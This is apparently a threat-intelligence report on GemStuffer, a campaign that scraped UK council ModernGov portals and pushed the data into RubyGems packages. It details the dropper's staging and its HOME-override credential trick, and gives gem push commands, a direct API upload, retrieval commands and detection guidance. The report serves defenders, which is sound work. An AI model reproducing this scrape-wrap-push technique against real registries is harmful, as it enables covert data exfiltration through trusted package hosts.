Threat reportSupply ChainTL-2026-0505

GemStuffer Campaign — RubyGems Registry Abused as Exfiltration Channel for UK Local Government Data

highMONITORING

GemStuffer Campaign (TL-2026-0505), also tracked as GemStuffer, is a high-severity supply-chain compromise, first published 2026-05-13. It is attributed to GemStuffer with low confidence, affects Ruby Central RubyGems.org public registry, maps to 30 MITRE ATT&CK techniques (T1020, T1027.009, T1030), and is covered by 9 detection rules and 43 indicators of compromise.

Severity
HIGHAssessed severity
CVEs
0None referenced
Techniques
30MITRE ATT&CK
Actors
1GemStuffer
Detection rules
9SPL · KQL · Sigma
IOCs
43Indicators of compromise

Key facts for TL-2026-0505

Threat ID
TL-2026-0505
Also known as
GemStuffer, GemStuffer Campaign, RubyGems Spam-Publishing Campaign (May 2026)
Severity
HIGH
Status
MONITORING
Category
SUPPLY_CHAIN
First published
Last reviewed
Attribution
GemStuffer
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
government, local-government, public-sector, software-supply-chain
Target regions
United Kingdom, Europe
Detection rules
9
Indicators of compromise
43

How GemStuffer Campaign works

Socket's Threat Research Team is tracking GemStuffer, a coordinated registry-abuse campaign that uses the RubyGems package registry as a public data-transport layer. Scripts (payload.rb, script.rb, evil.rb, hack.rb, etc.) scrape ModernGov democratic-services portals for Lambeth, Wandsworth and Southwark councils, embed the HTTP responses inside valid .gem archives, and publish those gems back to rubygems.org using hardcoded API keys. Ruby Central confirmed 155+ malicious package artifacts and temporarily disabled new-account registration plus throttled webhooks in response.

GemStuffer is a registry-abuse campaign disclosed by Socket's Threat Research Team (Joseph Edwards) on 2026-05-13 in which the RubyGems registry is repurposed as a public data drop for HTTP responses scraped from UK local-government democratic-services portals. The campaign is distinguished from classical malicious-package attacks by its direction of data flow: rather than using a published gem to deliver malware to victim developers, the attacker uses gem publishing itself as the exfiltration primitive. Stolen content is wrapped inside a structurally valid .gem archive (a tar containing metadata.gz and data.tar.gz) and uploaded to rubygems.org, where it can later be retrieved by anyone with `gem fetch <name> -v <version>` and unpacked locally with standard tar tooling.

Attack chain. The dropper (named variably payload.rb, script.rb, evil.rb, hack.rb, yardload.rb, yard_plugin.rb, exploit.rb, extconf.rb, or fetcher.rb) is placed on a target machine by an external mechanism — the implant does not self-propagate. On execution it captures lightweight execution-context recon (Time.now, Dir.pwd, $0 script path, ARGV) and then opens Net::HTTP sessions with use_ssl: true and OpenSSL::SSL::VERIFY_NONE against three hardcoded UK council ModernGov endpoints: https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1, https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1 and https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1. A spoofed User-Agent of literal `Mozilla/5.0` (shorter than any legitimate browser banner) is used. The script then parses returned HTML for hrefs matching ieList or mgCommittee path patterns and follows ieList links to pull full agenda-item listing pages, appending each response to an output buffer with `===CAL <host>===` and `===PAGE <url>===` delimiters for later programmatic parsing.

Malicious gem staging. The implant builds a randomized staging directory at /tmp/<gemname><epoch_timestamp><pid>/ (e.g. /tmp/lambeth71b1715600000123/) and uses File.binwrite — not File.write — to drop the scraped content to lib/result.txt, avoiding Ruby's UTF-8 encoding layer raising exceptions on non-UTF-8 HTTP bodies. A stub lib/x.rb containing the single token `#x` is created to satisfy the gem layout, and a minimal x.gemspec is written declaring `s.summary='result'`, `s.authors=['x']`, `s.files=Dir['lib/**/*']`, `s.license='MIT'`. Gem names follow a `<council><suffix>` portmanteau convention (lambeth71b, agenda-sample-result, etc.). A second variant family uses Dir.mktmpdir with an OS-reclaimed block scope so the staging directory is deleted immediately after the .gem is read for the push, writes scraped content to a file named `README` (rather than lib/result.txt) which is semantically invisible inside a gem archive, and builds the spec entirely via the Ruby API (Gem::Package.build) so no .gemspec ever touches disk.

Credential injection via HOME override. The CLI-push variants fabricate a self-contained gem credential environment under /tmp/gemhome/.gem/credentials containing a hardcoded RubyGems API token in the `:<key_name>: <key_value>` format, chmod'd to 0600 (the gem CLI aborts on group/world-readable credentials, which the author handles explicitly), and override ENV['HOME']='/tmp/gemhome' for the current process only so the gem binary reads from the fabricated home. Three distinct API key prefixes were observed across the campaign — rubygems_9feada...054a57, rubygems_fb4e1b...6aec9dd and rubygems_d8e875...503a533 — a compartmentalization strategy that allows two campaign legs to keep operating if one key is revoked. A third variant family skips the gem CLI entirely: the API key is a top-level KEY constant, the script constructs a Net::HTTP::Post against https://rubygems.org/api/v1/gems with `Authorization: <api_key>` and `Content-Type: application/octet-stream`, and POSTs the raw .gem bytes (File.binread) directly. This direct-API variant removes every external process dependency — no gem binary, no credentials file, no HOME redirect — running the entire exfil pipeline inside a single Ruby stdlib process.

Exfiltration and retrieval. The CLI-driven variants shell out via backticks to `gem build x.gemspec` and `gem push <name>.gem --host https://rubygems.org`, capturing stdout/stderr to #{root}/log under a `rescue nil` so even the local log is silently dropped on failure. Network signature is a single outbound TLS POST to rubygems.org:443 carrying an octet-stream binary body — indistinguishable on the wire from a legitimate developer release. Standard egress DLP inspecting for plaintext keywords sees nothing: the stolen data is gzip-compressed inside a tar archive inside TLS. Retrieval requires only the gem name and version: `gem fetch <name> -v <ver>`, then `tar xf <name>-<ver>.gem data.tar.gz`, then `tar xzf data.tar.gz ./lib/result.txt` (or ./README in the mktmpdir variant) yields the scraped content delimited by the `===CAL` / `===PAGE` markers.

Registry response and scope. Ruby Central (Marty Haught) confirmed a coordinated spam-publishing campaign limited to newly-registered accounts publishing junk packages; no existing packages were compromised and existing accounts/installs are unaffected. RubyGems temporarily disabled new-account registration and throttled webhooks while improving spammer detection; the rubygems.org signup page currently reflects the registration freeze. Socket is tracking 155 package artifacts (packages and versions) tied to the GemStuffer cluster, many with little or no download activity — consistent with the registry being used as a data-drop rather than for developer compromise.

Classification and significance. The campaign defies clean classification: it may be registry spam, a proof-of-concept worm, an automated scraper opportunistically using RubyGems as cheap storage, or a deliberate red-team-style demonstration of package-registry abuse. The targeted material (council calendars, agenda listings, committee links) is nominally public, but the systematic bulk archival of UK local-government content using a developer-trusted destination is the technique that matters. Package registries are commonly trusted egress endpoints in developer and CI environments; publishing a package looks indistinguishable from normal release activity to most network monitoring. GemStuffer demonstrates the generalizable pattern: scrape, wrap, push, retrieve — a TTP applicable to any public package registry (npm, PyPI, NuGet, Crates) and any target whose data fits inside a package archive.

MITRE ATT&CK techniques used in TL-2026-0505

Exfiltration

T1020 Automated Exfiltration; T1030 Data Transfer Size Limits; T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol; T1567 Exfiltration Over Web Service; T1567.001 Exfiltration Over Web Service: Exfiltration to Code Repository

Defense Evasion

T1027.009 Obfuscated Files or Information: Embedded Payloads; T1036.005 Masquerading: Match Legitimate Resource Name or Location; T1564.001 Hide Artifacts: Hidden Files and Directories

Discovery

T1033 System Owner/User Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery

Execution

T1059 Command and Scripting Interpreter; T1204.002 User Execution: Malicious File

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1102.002 Web Service: Bidirectional Communication; T1105 Ingress Tool Transfer; T1573.002 Encrypted Channel: Asymmetric Cryptography

Collection

T1074.001 Data Staged: Local Data Staging; T1119 Automated Collection; T1213 Data from Information Repositories; T1560.002 Archive Collected Data: Archive via Library

Initial Access

T1195.002 Supply Chain Compromise: Compromise Software Supply Chain

Credential Access

T1552.001 Unsecured Credentials: Credentials In Files

defense-impairment

T1556 Modify Authentication Process; T1685 Disable or Modify Tools

Resource Development

T1583.006 Acquire Infrastructure: Web Services; T1585.003 Establish Accounts: Cloud Accounts; T1587.001 Develop Capabilities: Malware

Reconnaissance

T1589 Gather Victim Identity Information; T1595 Active Scanning

Affected products and versions in GemStuffer Campaign

  • Ruby Central — RubyGems.org public registry
    Vulnerable versions: registry instance as of 2026-05-13 (newly-registered account publishing path)
  • London Borough of Lambeth — ModernGov Democratic Services Portal (moderngov.lambeth.gov.uk)
    Vulnerable versions: public ModernGov instance
  • London Borough of Wandsworth — ModernGov Democratic Services Portal (democracy.wandsworth.gov.uk)
    Vulnerable versions: public ModernGov instance
  • London Borough of Southwark — ModernGov Democratic Services Portal (moderngov.southwark.gov.uk)
    Vulnerable versions: public ModernGov instance

Remediation for GemStuffer Campaign

Patches

  • No software patch — this is a TTP and credential-misuse campaign, not a CVE.
  • Ruby Central operational response: new-account registration temporarily disabled on rubygems.org; webhooks throttled while spammer-detection improvements roll out.

Immediate actions

  • Yank all identified GemStuffer gem packages via `gem yank <name> -v <version>` for each confirmed package name; file a rubygems.org abuse report requesting emergency removal of the full set (yanked gems may still be cached by mirrors).
  • Revoke all three known campaign RubyGems API key prefixes (rubygems_9feada...054a57, rubygems_fb4e1b...6aec9dd, rubygems_d8e875...503a533) and rotate any tokens belonging to newly-registered accounts in your tenant.
  • Search /tmp on all potentially affected Ruby hosts for lambeth71b*, rubydocran_*, /tmp/gemhome/ and any directory matching /tmp/[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+/. Forensically image hits before deletion.
  • Hunt for the dropper filenames (payload.rb, script.rb, evil.rb, hack.rb, yardload.rb, yard_plugin.rb, exploit.rb, extconf.rb, fetcher.rb) anywhere outside expected source repositories; correlate with .bundlerc, Gemfile, config/application.rb, gem post-install hooks, CI pipeline definitions and dotfile repositories.
  • Block outbound HTTPS POST to rubygems.org/api/v1/gems on CI pipelines and developer hosts that do not legitimately publish gems.

Workarounds

  • Configure `bundle config` and `gem` to publish only via a private internal registry; require explicit `--host` overrides to be approved in CI.
  • Restrict outbound DNS/SNI for rubygems.org to dedicated publishing hosts; force developer/CI fetch traffic through a proxy that does not allow POST to /api/v1/gems.
  • Apply egress filtering on /tmp-resident Ruby processes: deny outbound 443 from any Ruby process whose HOME points to /tmp.

Longer-term hardening

  • Allowlist gem names publishable from each CI/CD pipeline; deny-by-default for any host that should not push to rubygems.org.
  • Deploy runtime EDR/eBPF (Falco) rules that alert on ENV['HOME'] mutation to /tmp paths inside Ruby processes — this is abnormal in legitimate applications and high-signal for HOME-override credential injection.
  • Egress-monitor for outbound TLS to rubygems.org:443 from hosts that are not authorized publishers; baseline normal release activity by gem name and account, alert on deviations.
  • Subscribe to Socket package-monitoring or equivalent supply-chain detection to receive alerts on newly-published packages whose names match council/government tokens (or other organization-specific identifiers).
  • Adopt RubyGems trusted-publisher / OIDC publishing for legitimate gems so password-based or static-API-key publishing can be disabled at the account level.

Weaknesses (CWE) in GemStuffer Campaign

CWE-829, CWE-506, CWE-798, CWE-200, CWE-494, CWE-602

Timeline of GemStuffer Campaign

  • Hardcoded ModernGov calendar URLs target M=1&Y=2026 (January 2026) — earliest plausible start of scraping window based on URL parameters embedded in droppers.
  • Socket publishes parallel research on a separate RubyGems/Go module campaign (BufferZoneCorp), establishing concurrent registry-abuse activity in the Ruby ecosystem.
  • Socket discloses TanStack npm package compromise (Mini Shai-Hulud), highlighting an industry-wide pattern of registry abuse in the same week.
  • Threadlinqs Intelligence opens TL-2026-0505 to track the GemStuffer campaign with full MITRE mapping, detection coverage and atomic simulation tasking.
  • Socket publishes IOC bundle: SHA-256 hashes for payload.rb and script.rb, dropper filename indicators, three target ModernGov endpoints, three RubyGems API key prefixes, and /tmp filesystem artifact patterns.
  • Ruby Central (Marty Haught) confirms a coordinated spam-publishing campaign limited to newly-registered accounts and announces that rubygems.org has temporarily disabled new account registration and throttled webhooks while spammer-detection improvements are deployed.
  • Socket Threat Research Team (Joseph Edwards) publishes the GemStuffer campaign analysis, naming the cluster and documenting 155 package artifacts, three API key prefixes, and the full scrape-package-push exfiltration chain.
  • As of 2026-05-29, the GemStuffer campaign is neutralized: RubyGems blocked the bot accounts, yanked all 500+ malicious gems, deployed Fastly WAF protection, and declared the incident resolved by 2026-05-16 with registrations re-enabled. The unattributed operator was never identified and the scrape-wrap-push registry-abuse TTP stays viable elsewhere, so it warrants monitoring rather than full closure.

Sources cited for GemStuffer Campaign

Detection coverage for TL-2026-0505

As of 2026-05-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0505 across Splunk SPL, Microsoft KQL and Sigma, covering 43 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

9 detection rules (Splunk SPL, Microsoft KQL, Sigma) · Blue and above. Compare plans
43 indicators of compromise · Red and above. Compare plans

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level
Fig. 01 · Threat weatherIndexing the archive…
1 square = 1 threat · click to open

Latest Threats